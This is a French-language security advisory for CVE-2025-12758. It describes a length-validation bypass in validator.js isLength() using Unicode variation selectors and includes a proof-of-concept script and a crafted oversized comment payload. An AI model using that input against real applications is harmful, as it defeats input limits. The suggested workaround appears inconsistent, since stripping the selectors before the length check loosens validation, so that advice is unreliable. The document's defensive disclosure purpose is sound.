
Divulgation détaillée de CVE-2025-12758 avec PoC démontrant le contournement du sélecteur de variation Unicode dans validator.js isLength(), incluant analyse de la cause racine, scénarios d'exploitation et étapes d'atténuation.
ID CVE : CVE-2025-12758
Score CVSS : 8.7 (ÉLEVÉ)
Sévérité : ÉLEVÉE
CWE : CWE-792 (Filtrage incomplet d'une ou plusieurs instances d'éléments spéciaux)
Publié : 26 novembre 2025
Divulgué : 19 octobre 2025
Cette vulnérabilité affecte les versions < 13.15.22 du paquet npm validator. La fonction isLength() ne prend pas en compte les sélecteurs de variation Unicode (\uFE0F, \uFE0E) lors du calcul de la longueur d'une chaîne, ce qui conduit à une validation d'entrée incorrecte.
Une application utilisant isLength() pour la validation d'entrée peut accepter des chaînes bien plus longues que prévu, pouvant entraîner :
La fonction isLength() ne filtre pas correctement les sélecteurs de variation Unicode lors du calcul de la longueur de la chaîne. Ces caractères spéciaux (marques combinantes) ne devraient pas contribuer à la longueur visuelle d'une chaîne mais sont comptés dans la propriété String.length de JavaScript.
npm install [email protected]
node poc.js
const validator = require('validator');
// Normal "test" string - correctly rejected
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 3? ${validator.isLength('test', { max: 3 })}`);
// Output: Is "test" (String.length: 4) length ≤ 3? false
// Normal "test" string - correctly accepted
console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 4? ${validator.isLength('test', { max: 4 })}`);
// Output: Is "test" (String.length: 4) length ≤ 4? true
// "test" with 4 variation selectors - INCORRECTLY accepted
console.log(`Is "test️️️️" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length ≤ 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F\uFE0F', { max: 4 })}`);
// Output: Is "test️️️️" (String.length: 8) length ≤ 4? true ⚠️ VULNERABLE!
Is "test" (String.length: 4) length less than or equal to 3? false
Is "test" (String.length: 4) length less than or equal to 4? true
Is "test️️️️" (String.length: 8) length less than or equal to 4? true
La troisième sortie démontre la vulnérabilité : une chaîne de longueur réelle 8 réussit un contrôle de validation pour une longueur maximale de 4.
Une application pourrait implémenter une validation de commentaire utilisateur :
const MAX_COMMENT_LENGTH = 100;
function validateComment(comment) {
return validator.isLength(comment, { max: MAX_COMMENT_LENGTH });
}
const maliciousInput = 'a'.repeat(50) + '\uFE0F'.repeat(100);
// Actual length: 150 characters
// validator.isLength() incorrectly returns: true ❌
// Database accepts malicious payload ⚠️
npm install [email protected]
La version corrigée gère correctement les sélecteurs de variation Unicode en les excluant des calculs de longueur.
Si vous ne pouvez pas mettre à jour immédiatement, implémentez une validation de longueur personnalisée :
function safeIsLength(str, options = {}) {
// Remove Unicode variation selectors before validation
const cleanStr = str.replace(/[\uFE0E\uFE0F]/g, '');
return validator.isLength(cleanStr, options);
}
Vérifiez si votre application est vulnérable :
npm audit --audit-level=high
Recherchez le paquet validator avec une version < 13.15.22.
Vulnérabilité découverte par : Karol Wrótniak
ISC